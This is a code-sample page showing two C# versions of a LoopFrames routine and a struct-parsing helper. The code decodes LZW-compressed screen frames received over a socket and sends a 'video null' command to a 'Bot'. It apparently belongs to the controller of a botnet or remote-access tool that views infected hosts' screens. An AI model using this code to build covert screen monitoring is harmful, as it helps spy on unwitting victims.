Пример #1
0
            /*
             *                      void LoopFrames(Socket sc)
             *                      {
             *                              int state = 0;
             *                              byte[] data = new byte[65536];
             *                              FrameStru frameInfo = new FrameStru();
             *                              Frame prev = null;
             *                              int waitFirstFrame = 0;
             *                              while (!stop)
             *                              {
             *                                      int size = Server.ReadDataStream(sc, ref data, 2000);
             *                                      if (size == 0) break;
             *                                      if (size > 0)
             *                                      {
             *                                              switch (state)
             *                                              {
             *                                                      case 0: //начало видео, ищем начальный кадр
             *                                                              if (size == Frame.SizeFrame)
             *                                                              {
             *                                                                      frameInfo = GetFrameStru(data);
             *                                                                      if (frameInfo.szStruct == Frame.SizeFrame)
             *                                                                      {
             *                                                                              if (frameInfo.type == 0) //начальный кадр
             *                                                                              {
             *                                                                                      state = 1;
             *                                                                              }
             *                                                                              else
             *                                                                              {
             *                                                                                      waitFirstFrame++;
             *                                                                                      //если долго нет начального кадра, то посылаем команду боту, чтобы дал начальный кадр
             *                                                                                      if (waitFirstFrame > 10)
             *                                                                                      {
             *                                                                                              waitFirstFrame = 0;
             *                                                                                              ctrl.Bot.server.CM_SendCmd(ctrl.Bot.id, ctrl.Bot.uid, "video null");
             *                                                                                      }
             *                                                                              }
             *                                                                      }
             *                                                              }
             *                                                              break;
             *                                                      case 1: //данные кадра (распаковка картинки)
             *                                                              Frame frame = new Frame(frameInfo.width, frameInfo.height, frameInfo.type, data, size);
             *                                                              Frame next;
             *                                                              Bitmap bmp = frame.GetBitmap(prev, 2, out next);
             *                                                              ctrl.funcSetBitmap(bmp);
             *                                                              prev = next;
             *                                                              if (frameInfo.szCaption > 0)
             *                                                                      state = 2;
             *                                                              else
             *                                                                      state = 3;
             *                                                              break;
             *                                                      case 2: //чтение заголовка текущего окна
             *                                                              state = 3;
             *                                                              break;
             *                                                      case 3: //заголовок следующего кадра
             *                                                              if (size == Frame.SizeFrame)
             *                                                              {
             *                                                                      frameInfo = GetFrameStru(data);
             *                                                                      state = 1;
             *                                                              }
             *                                                              else
             *                                                                      state = 0;
             *                                                              break;
             *                                              }
             *                                      }
             *                              }
             *                              ctrl.funcSetBitmap(null);
             *                      }*/
            FrameStru GetFrameStru(byte[] data, int offset)
            {
                int size = Frame.SizeFrame;                 // Marshal.SizeOf(typeof(FrameStru));

                byte[] data2 = new byte[size];
                Array.Copy(data, offset, data2, 0, size);
                //переводим байтовый массив в структуру
                GCHandle  handle = GCHandle.Alloc(data2, GCHandleType.Pinned);
                FrameStru ret    = (FrameStru)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(FrameStru));

                handle.Free();
                return(ret);
            }
Пример #2
0
            void LoopFrames(Socket sc)
            {
                byte[]    data           = new byte[1024 * 100];
                byte[]    data2          = null, dataTmp = null;
                FrameStru frameInfo      = new FrameStru();
                Frame     prev           = null;
                int       waitFirstFrame = 0;

                while (!stop)
                {
                    int size = Server.ReadDataStream(sc, ref data, 2000);
                    if (size == 0)
                    {
                        break;
                    }
                    if (size > 0)
                    {
                        int sz = BitConverter.ToInt32(data, 0);
                        if (sz < size)
                        {
                            global::Server.LZW lzw = new global::Server.LZW();
                            if (dataTmp == null || dataTmp.Length < sz)
                            {
                                dataTmp = new byte[sz];
                            }
                            if (data2 == null || data2.Length < 20 * sz)
                            {
                                data2 = new byte[20 * sz];
                            }
                            Array.Copy(data, 4, dataTmp, 0, sz);
                            sz = lzw.from_lzw(dataTmp, data2);
                            int i = 0;
                            while (i < sz)
                            {
                                frameInfo = GetFrameStru(data2, i);
                                if (prev != null || frameInfo.type == 0)
                                {
                                    Frame  frame = new Frame(frameInfo.width, frameInfo.height, frameInfo.type, data2, i + frameInfo.szStruct, frameInfo.szData);
                                    Frame  next;
                                    Bitmap bmp = frame.GetBitmap(prev, 2, out next);
                                    ctrl.funcSetBitmap(bmp);
                                    prev = next;
                                }
                                else
                                {
                                    waitFirstFrame++;
                                    //если долго нет начального кадра, то посылаем команду боту, чтобы дал начальный кадр
                                    if (waitFirstFrame > 10)
                                    {
                                        waitFirstFrame = 0;
                                        ctrl.Bot.server.CM_SendCmd(ctrl.Bot.id, ctrl.Bot.uid, "video null");
                                    }
                                }

                                i += frameInfo.szStruct + frameInfo.szData + frameInfo.szCaption;
                            }
                        }
                    }
                }
                ctrl.funcSetBitmap(null);
            }